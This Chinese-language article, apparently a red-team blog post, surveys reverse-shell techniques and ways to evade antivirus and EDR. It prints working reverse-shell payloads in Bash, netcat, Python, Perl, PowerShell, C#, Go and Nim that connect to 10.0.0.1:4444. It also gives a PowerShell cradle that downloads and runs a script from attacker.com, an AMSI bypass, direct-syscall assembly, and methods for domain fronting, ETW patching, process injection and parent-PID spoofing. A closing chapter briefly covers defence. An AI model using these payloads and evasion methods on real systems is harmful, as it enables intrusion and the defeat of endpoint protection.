
序言在那根细线上跳舞在红蓝对抗的修罗场里如果说漏洞利用是攻城锤那么反弹 Shell 就是那把刺入敌人心脏的细剑。回溯十多年前那个安全防护还处于“裸奔”的年代渗透测试人员拿到 RCE 漏洞后只需要随手扔出一个bash -i /dev/tcp/10.0.0.1/4444 01就能舒舒服服地拿到一个交互式终端仿佛打通了任督二脉。那时的防火墙只管进不管出杀软只认特征码IDS 甚至连 SSL 流量都不看。但今天时代变了。当你费尽心机绕过了边界防火墙利用一个极其隐蔽的 0day 拿到了一台边缘服务器的代码执行权限正准备搓手庆祝时你会发现出网端口被严格限制流量被 NGFW 深度检测终端装着某 EDR连powershell.exe启动都会被标记为高危进程。你敲下那行经典的 Bash 反弹命令甚至连包都没发出去进程就被lsass.exe盯死直接被 kill 掉紧接着就是 SOC 团队的告警电话。现代防守方建立的是一张立体的防御网而作为攻击者我们需要在协议层、系统层、内存层之间走钢丝。今天我们就来像解剖大象一样深挖反弹 Shell 的底层原理盘点 10 种从古老到现代的写法并着重探讨在 AV杀毒软件和 EDR终端检测与响应的眼皮底下如何把一个简单的反弹动作做得天衣无缝。第一章反弹 Shell 的本质与演进在列出代码之前我们必须搞清楚一件事到底什么是反弹 Shell1.1 正向与反向的逻辑差异正向 Shell攻击者主动连接目标机器上开放的端口。这要求目标机器有公网 IP或者做了端口映射且防火墙允许外部流量进入。在内网渗透中由于 NAT 和防火墙的隔离这种模式几乎死绝。反向 Shell目标机器主动向攻击者控制的服务器发起连接并将本地的输入输出stdin/stdout/stderr重定向到这条网络连接上。这只需要目标机器能出网即可完美契合内网环境“出站策略通常比入站策略宽松”的特点。1.2 伪终端与标准输入输出的重定向所有的反弹 Shell无论外壳多么花哨底层逻辑只有一句把网络 Socket 的文件描述符绑定到本地终端进程的标准输入、标准输出和标准错误上。在 Linux 中万物皆文件。当你执行/bin/bash时它默认从当前终端通常是/dev/tty或伪终端/dev/pts/0读取输入并把结果输出到那里。反弹 Shell 的核心就是用 Socket 的文件描述符替换掉默认的终端描述符。了解了这一点你就会明白为什么那么多看似不同语言的写法其内核是惊人一致的。第二章十大反弹 Shell 写法大盘点这里我们精选 10 种不同环境、不同语言下的经典与现代写法。它们不仅是脚本小子的字典更是理解系统调用与协议交互的绝佳教材。2.1 Bash 重定向最原始的暴力美学bash-i/dev/tcp/10.0.0.1/444401这是 Linux 下最经典、最精简的一句话。它的原理是利用 Bash 内置的/dev/tcp特性。当 Bash 访问/dev/tcp/IP/PORT时它会自动发起一个 TCP 连接。符号在 Bash 中表示将标准输出和标准错误一起重定向到目标。01则将标准输入也重定向到标准输出也就是 Socket。致命弱点明文传输且/dev/tcp是 Bash 的特性非 Bash 环境如shzsh或精简版 BusyBox不支持。更致命的是这种流量极其容易被安全设备识别为异常的交互式明文 Shell。2.2 Netcat网络瑞士军刀的百变用法# 经典写法需要支持 -e 参数的版本如传统的 netcat-traditionalnc-e/bin/bash10.0.0.14444# 现代 OpenBSD 版本不支持 -e 时的绕过写法管道法rm/tmp/f;mkfifo/tmp/f;cat/tmp/f|/bin/sh-i21|nc10.0.0.14444/tmp/fNetcat 是网络界的瑞士军刀。-e参数直接将指定的程序绑定到连接上。但由于-e参数过于危险现代 Linux 发行版默认的nc往往去掉了这个参数。于是有了下面的进阶版利用命名管道mkfifo创建一个临时缓冲区将输入输出通过cat、/bin/sh和nc管道串联起来实现了同样的效果。弱点在极度受限的容器环境如只读文件系统中无法创建/tmp/f。2.3 Python跨平台的红队中流砥柱Python 几乎存在于所有现代 Linux 发行版和某些老旧 Windows 服务器上。它的网络和 OS 模块极其强大。importsocket,subprocess,os ssocket.socket(socket.AF_INET,socket.SOCK_STREAM)s.connect((10.0.0.1,4444))os.dup2(s.fileno(),0)os.dup2(s.fileno(),1)os.dup2(s.fileno(),2)psubprocess.call([/bin/sh,-i]);这段代码极其优雅地展示了原理。建立 Socket 连接后使用os.dup2()将 Socket 的文件描述符分别复制到 0stdin、1stdout、2stderr上最后subprocess启动一个 Shell它自然就继承了重定向后的输入输出。弱点Python 脚本落地就是死。现在的 AV 对这段代码的特征码抓得死死的且 Python 进程在 Windows 上发起外部网络连接的行为非常可疑。2.4 Perl被遗忘的暗道后门Perl 曾经统治了 Web 良久。现在虽然用得少但在某些老旧的 Unix、AIX 或早期的 WebLogic 环境中Perl 往往是最后的救命稻草。perl-MIO-e$pfork;exit,if($p);$cnew IO::Socket::INET(PeerAddr,10.0.0.1:4444);STDIN-fdopen($c,r);$~-fdopen($c,w);system$_ while;利用IO::Socket::INET建立连接然后通过fdopen将标准输入输出绑定到 Socket 句柄上最后进入system循环执行命令。优点极少有 AV 会专门去查杀 Perl 的内存特征这属于历史遗留的盲区。2.5 PowerShellWindows 上的双刃剑在 Windows 环境下PowerShell 是无可争议的王者因为它直接调用底层 .NET API强大且系统自带。$clientNew-ObjectSystem.Net.Sockets.TCPClient(10.0.0.1,4444)$stream$client.GetStream()[byte[]]$bytes 0..65535|%{0}while($true){$i$stream.Read($bytes,0,$bytes.Length)if($i-le0){break}$data(New-Object-TypeName System.Text.ASCIIEncoding).GetString($bytes,0,$i)$sendback(iex$data21|Out-String)$sendback2$sendbackPS (pwd).Path $sendbytes([text.encoding]::ASCII).GetBytes($sendback2)$stream.Write($sendbytes,0,$sendbytes.Length)$stream.Flush()}$client.Close()这是最基础的 TCP 客户端写法。建立连接后循环读取网络流利用iexInvoke-Expression执行接收到的字符串并将输出转回字节流发送回去。致命弱点AMSI反恶意软件扫描接口。今天任何包含iex、TCPClient且意图明显是反弹的 PS 脚本在内存中被 AMSI 截获的几率高达 99%。2.6 PowerShell Base64 内存加载初级的规避为了规避 AMSI 和基于特征码的静态查杀最常用的手段就是 Base64 编码后在内存中执行。powershell -enc Base64_Encoded_String或者通过 Web 下载执行IEX(New-ObjectNet.WebClient).DownloadString(http://10.0.0.1/shell.ps1)这避免了文件落地且命令行参数看起来是一堆乱码。弱点AMSI 依然会在脚本解析执行前扫描内存中的明文内容。此外执行powershell.exe并发起外部网络连接是 EDR 基于行为分析的高优告警条件。2.7 C# / .NET Assembly现代红队的中流砥柱当 PowerShell 被盯死红队开始转向编译好的 C# 程序。通过Execute-Assembly等技术在内存中直接加载 .NET 字节码。usingSystem;usingSystem.Net.Sockets;usingSystem.Diagnostics;classShell{staticvoidMain(){using(TcpClientclientnewTcpClient(10.0.0.1,4444)){using(ProcessprocnewProcess()){proc.StartInfo.FileNamecmd.exe;// Windows// proc.StartInfo.FileName /bin/bash; // Linuxproc.StartInfo.UseShellExecutefalse;proc.StartInfo.CreateNoWindowtrue;proc.StartInfo.RedirectStandardInputtrue;proc.StartInfo.RedirectStandardOutputtrue;proc.StartInfo.RedirectStandardErrortrue;proc.Start();using(System.IO.Streamstreamclient.GetStream()){byte[]buffernewbyte[4096];System.Threading.ThreadoutputThreadnewSystem.Threading.Thread((){intread;while((readproc.StandardOutput.BaseStream.Read(buffer,0,buffer.Length))0){stream.Write(buffer,0,read);stream.Flush();}});outputThread.Start();intinRead;while((inReadstream.Read(buffer,0,buffer.Length))0){proc.StandardInput.BaseStream.Write(buffer,0,inRead);proc.StandardInput.BaseStream.Flush();}}}}}}这段 C# 代码展示了如何用多线程处理输入输出的重定向。它编译后是一个纯粹的 PE 文件或者通过内存加载执行。在 Cobalt Strike 中execute-assembly极其常用。弱点依然可能触发 ETWEvent Tracing for Windows和 AMSI 的 .NET Assembly 扫描。2.8 Go 语言编译胖二进制的降维打击Go 语言由于其静态编译特性将所有依赖打包进一个巨大的二进制文件导致传统的 AV 特征码扫描在庞大的无用代码中迷失方向天然具备一定的免杀能力。packagemainimport(os/execnet)funcmain(){conn,_:net.Dial(tcp,10.0.0.1:4444)cmd:exec.Command(/bin/sh)// Windows 用 cmdcmd.Stdinconn cmd.Stdoutconn cmd.Stderrconn cmd.Run()}短短几行代码静态编译后体积可能高达 2MB。由于 Go 的底层网络调用并不像 C 直接调用ws2_32.dll那么容易被 Hook很多基于 API 监控的 EDR 对 Go 程序的感知较弱。弱点文件体积过大落地极其容易被发现且 Go 编译的 Payload 通常没有经过混淆容易被沙箱动态跑出网络连接行为。2.9 Nim 语言新晋当红炸子鸡Nim 是近年来红队圈极其火热的语言。它能编译为 C然后编译为原生机器码既具备高级语法的便捷又能完美规避 .NET Framework 对 AMSI 的依赖。import net, osproc let socket newSocket() socket.connect(10.0.0.1, Port(4444)) let process startProcess(/bin/sh, args[-i], options{poUsePath, poStdErrToStdOut, poEcho}) process.inputHandle socket.getFd process.outputHandle socket.getFd process.errorHandle socket.getFd discard process.waitForExit()Nim 编译后的原生可执行文件不像 C# 那样带有强烈的 .NET 元数据特征也不像 Go 那样体积夸张。它能在内存中直接执行系统调用绕过 EDR 的用户态 Hook是当前突破 Windows 终端防御的利器。2.10 ICMP 隧道 Shell极端环境的终极潜水艇当 TCP/UDP 被防火墙彻底封死只允许 Ping 出网时我们需要把 Shell 流量封装在 ICMP 报文的数据载荷中。这通常无法用一句代码实现需要借助如icmpsh这样的专用工具。原理是客户端被控端监听本机的 ICMP Echo Reply将执行命令的结果编码进 Echo Request 发出服务端攻击端将命令编码进 Echo Reply 发送。整个通信在防火墙看来只是正常的 Ping 流量。弱点带宽极窄无法传输大文件且回显极慢。但作为保命的最后一条通道它往往是无可替代的。第三章AV/EDR 规避思路体系化讲解上面列出的十种写法如果直接丢到现在的实战环境里80% 都会当场阵亡。真正的红队行动中拿到一个可以工作的 Payload 只是开始让它顺利落地、执行、存活才是真正的技术含量所在。现代终端防御体系的核心是两个AMSI反恶意软件扫描接口和ETW事件跟踪以及 EDR 对 Windows API 的深度 Hook。3.1 规避思路一网络层的伪装与隧道化明文 TCP 反弹在今天就是自杀。即使你用 C# 编译EDR 抓不到你的文件特征但 IDS/IPS 会立刻识别出这是一个交互式 Shell 流量因为你每次敲一个命令产生一个极小的 TCP 包这种流量模型长连接、小包、高频极其典型。解决之道端口与协议前置走 443 端口不要用 4444 或 8443 这种一看就不正经的端口直接用 443。TLS 加密必须使用 TLS 封装流量。不管是用 Maligno 把 Metasploit 的 Payload 包一层还是用 Cobalt Strike 自带的 HTTPS Beacon流量必须是加密的防止 IPS 深度检测。域前置这是高级红队的标配。通过配置你的 Payload让 TLS 握手的 SNI 字段指向一个看似合法的企业域名如cdn.microsoft.com但实际路由的 IP 却是你的 VPS。防火墙看到你在访问微软的 CDN往往会放行而流量却去了你的控制端。借用合法云服务更进一步利用 Github、Pastebin、微云、甚至钉钉的 API 来下发指令和回传结果。你的反弹 Shell 根本不连 VPS而是去轮询一个云端的文本文件。这在流量层是无懈可击的因为它访问的都是绝对合法的域名。3.2 规避思路二AMSI 的刺杀与绕过AMSI 是 Windows 10 以后微软引入的防线。无论是 PowerShell、VBS、JScript 还是 C# 的 Assembly在执行前其内存中的明文脚本都会被送给 AMSI 扫描。如果你的代码里有DownloadString或TCPClient直接就会被打上恶意标签导致ExecutionPolicy抛出错误进程终止。思路 A打残 AMSI既然 AMSI 是一个 DLLamsi.dll加载进进程后它需要调用AmsiScanBuffer这个函数来扫描。如果我们在它加载时把内存中AmsiScanBuffer函数入口处的机器码改掉比如直接让它返回 0 也就是无威胁AMSI 就成了瞎子。经典的利用代码通过 PowerShell 实现需混淆# 伪代码示意找到 amsi.dll 里 AmsiScanBuffer 的地址修改首字节为 ret (0xc2 0x00 0x00)[Ref].Assembly.GetType(System.Management.Automation.AmsiUtils).GetField(amsiInitFailed,NonPublic,Static).SetValue($null,$true)这种内存补丁法极为有效但微软也在防御。EDR 会监控进程对amsi.dll内存空间的修改权限。一旦发现VirtualProtect将只读改为可写立刻告警。思路 B内存加载与反射式 DLL注入为了避免文件落地被 AV 扫描红队大量使用内存加载技术。将编译好的 C# 或 C Payload 转换为 Shellcode 或 Byte 数组在内存中通过Assembly.Load()或反射式 DLL 注入直接执行。配合上面的打残 AMSI 操作可以完美绕过静态查杀和入口点扫描。3.3 规避思路三ETW 的蒙眼杀法AMSI 扫描的是脚本和 Assembly 的内容而 ETW 负责记录 .NET 运行时的行为。EDR 强依赖 ETW 提供的日志来发现异常。比如你的 Payload 即使绕过了 AMSI 在内存中执行了但 ETW 会记录下“powershell.exe发起了一个 TCP 连接到外部 443 端口”这个行为EDR 依然会报警。思路卸载 ETW Provider和打残 AMSI 类似ETW 的日志是由各个 Provider 提供的如.NET Framework。我们可以在 Payload 启动的第一时间通过修改注册表或调用 APIEtwEventUnregister来注销特定的 ETW Provider从而让防守方的 SIEM 平台收不到相关的行为日志。更高级的做法是“ETW Blind Patch”找到ntdll!EtwEventWrite函数将其内存代码直接 Patch 为ret让所有的 ETW 事件写入操作直接返回彻底蒙住 EDR 的眼睛。3.4 规避思路四直接系统调用这是当前对抗 EDR 最高级也是最核心的技术。现代 EDR如 CrowdStrike, SentinelOne, Microsoft Defender for Endpoint是如何发现你执行了恶意操作的它们通过在用户态Ring 3向系统核心 DLL如ntdll.dll的关键函数插入 Hook通常是jmp指令跳到 EDR 自己的 DLL 中去检查参数。比如你想创建一个进程CreateProcess或者建立网络连接WinHttpSendRequest底层最终都会调用ntdll.dll里的NtCreateSection、NtProtectVirtualMemory等原生系统调用。EDR 在这些地方下了 Hook你一调用它就截获检查你传入的参数是否恶意如果是就直接拒绝并告警。破局之法Direct System Calls直接系统调用我们不通过ntdll.dll去调用这些函数而是直接在代码里用汇编语言或编译好的机器码调用系统的 Syscall ID。例如在 Windows 10 里NtAllocateVirtualMemory的 Syscall ID 是0x18。我们直接在 Payload 中写mov r10, rcx ; 按照调用约定第一个参数放 rcx移到 r10 mov eax, 18h ; 把 Syscall ID 放入 eax syscall ; 直接陷入内核态 ret这直接跳过了用户态的所有 DLLEDR 在用户态插的 Hook 根本没机会执行。攻击者像幽灵一样直接在内核态完成了内存分配、进程创建、网络连接等高危操作。红队利器像 SysWhispers、Hells Gate 等技术能够动态获取 Syscall ID 并构造直接系统调用的 Payload是目前高级威胁绕过所有主流 EDR 的杀手锏。3.5 规避思路五行为的合理化与 Parent PID Spoofing即使你绕过了所有的技术检测点EDR 还有一招杀手锏行为基线。一个正常的explorer.exe启动notepad.exe是正常的。但如果你控制了一个 Web 服务进程如w3wp.exe它突然启动了cmd.exe而cmd.exe又向外部发起了 TCP 连接这种父子进程链和异常的网络行为是安全运营人员最敏感的痛点。思路 A进程注入不要去启动新的进程。把你的 Shellcode 注入到一个看起来合法的、正在运行的进程里如svchost.exe或一个闲置的notepad.exe。通过VirtualAllocEx分配内存WriteProcessMemory写入代码然后修改线程上下文SetThreadContext使其跳转执行。这样发起网络连接的进程是极其合法的。思路 B父进程欺骗如果你必须启动一个新进程可以通过CreateProcess的STARTUPINFOEX结构指定一个假的父进程。比如让cmd.exe的父进程变成explorer.exe而不是w3wp.exe。这样EDR 的进程树分析就会认为这是用户正常操作启动的从而逃避告警。第四章实战复盘一次被 EDR 秒杀的教训讲太多理论容易让人头晕我们来看一个真实的红队失败案例看看在实战中忽略了 AV/EDR 会导致什么后果。某次针对大型金融企业的红队评估。目标外网防护极好没有任何 Web 漏洞。红队通过社工钓鱼发送了一个看似正常的 PDF里面夹带了一个 LNK 快捷方式文件。当员工点击 LNK 时它执行了这样一条命令powershell -windowstyle hidden -exec bypass -c IEX (New-Object Net.WebClient).DownloadString(http://attacker.com/shell.ps1)红队满心欢喜以为这个隐藏窗口的 PowerShell 会去下载脚本并在内存中执行拿到一个 Meterpreter。结果员工点击后不到 3 秒VPS 没有收到任何连接。客户的 SOC 打来电话“我们抓到你们的攻击了机器已经被隔离。”复盘分析明显的特征-windowstyle hidden和-exec bypass是 PowerShell 恶意脚本最常见的两个参数。Windows Defender 在解析命令行时直接命中特征码进程被拦截。AMSI 截杀即使 Defender 没拦住启动当IEX下载完shell.ps1的内容准备在内存中执行时AMSI 介入扫描发现其中含有TcpClient的反弹特征直接发出AMSI_RESULT_DETECTED信号PowerShell 进程被强制终止。行为告警员工电脑上的explorer.exe直接发起了对http://attacker.com的 HTTP 请求。这个域名刚注册一周没有信誉。终端 EDR 的 IP 信誉库直接将其标记为高危 C2触发了自动隔离策略。改进思路如果重做这次行动红队应该怎么做不用 PowerShell这是最大的败笔。任何带参数的 PS 启动都极其危险。改用编译好的 Nim 或 C# 原生 PE 文件捆绑在 PDF 的漏洞利用中。使用合法云服务做中转Payload 去访问一个预先准备好的 Pastebin 链接https://pastebin.com/raw/xxxxx而不是自己的 VPS。EDR 不会封禁 Pastebin。直接系统调用 进程注入Payload 执行后通过直接系统调用绕过 EDR Hook把真正的 Shellcode 注入到explorer.exe中由explorer.exe发起到 VPS 的 443 端口连接。流量伪装VPS 配置域前置让流量看起来是访问cdn.cloudflare.com的正常 HTTPS 流量。只有做到这一步这次行动才有一线生机。第五章蓝队视角的反制与未来展望攻击者不断升级武器防守方也不会坐以待毙。现代蓝队已经从单纯的“查杀”进化到了“态势感知”和“主动反制”。5.1 立体化行为监控不再依赖单纯的文件特征码扫描Hash 签名而是引入了机器学习分析进程行为。例如Excel.exe启动cmd.exe这在 99.9% 的情况下是不正常的。EDR 会直接切断这个进程链无论cmd.exe里面执行的是多么隐蔽的直接系统调用。同时监控网络连接行为基线一台财务部的办公机突然在半夜 2 点向一个 VPS 发起了持续的长连接即使流量加密了无法解密但连接的目的地、时间、流量模型都可以作为判定恶意的依据。5.2 内核回调EDR 在内核态Ring 0注册了回调函数如PsSetCreateProcessNotifyRoutine。这比用户态的 Hook 更难绕过。当你的 Payload 通过直接系统调用创建新进程时虽然绕过了用户态的ntdll.dll但在陷入内核态的那一瞬间系统会通知所有注册了回调的 EDR 驱动。EDR 会检查你创建的是什么进程参数是什么依然有机会拦截。要绕过内核回调攻击者往往需要寻找未公开的、没有注册回调的系统内部机制或者直接攻击内核驱动本身这越来越难因为微软强化了驱动签名和 Patch Guard。5.3 主动反制与蜜罐高级蓝队会在内网部署大量的“诱饵”。比如一个看似重要的prod-database-server其实是一台蜜罐。当红队的反弹 Shell 脚本扫描到这台机器并尝试通过抓取浏览器密码或 SSH 密钥进行横向移动时一旦触碰蜜罐立刻触发最高级别告警甚至主动下发脚本去反清红队的木马也就是俗称的“互相伤害”。第六章结语——没有银弹只有永恒的博弈从 Bash 的一行重定向到 Nim 语言编译的原生机器码从明文的 TCP 连接到域前置和直接系统调用。反弹 Shell 技术的演进史就是一部现代网络安全攻防的微观史。在实战中没有任何一种技术是万能的“银弹”。C# 很强但遇到只看行为的 EDR 就会吃瘪直接系统调用很无敌但稍有不慎触发内核回调就会暴露。真正的红队高手不是手里有多少个 0day而是深刻理解了操作系统架构、网络协议栈和防守设备逻辑后能够针对特定目标环境像一个精密的钟表匠一样拼凑出最合适的绕过路径。当防御方引入了零信任、引入了硬件级虚拟化隔离如 VBS未来的反弹 Shell可能必须从 CPU 的微码层或者固件层去寻找突破口。但在所有这些花里胡哨的技术背后不要忘了那最原始的一句bash -i /dev/tcp/... 01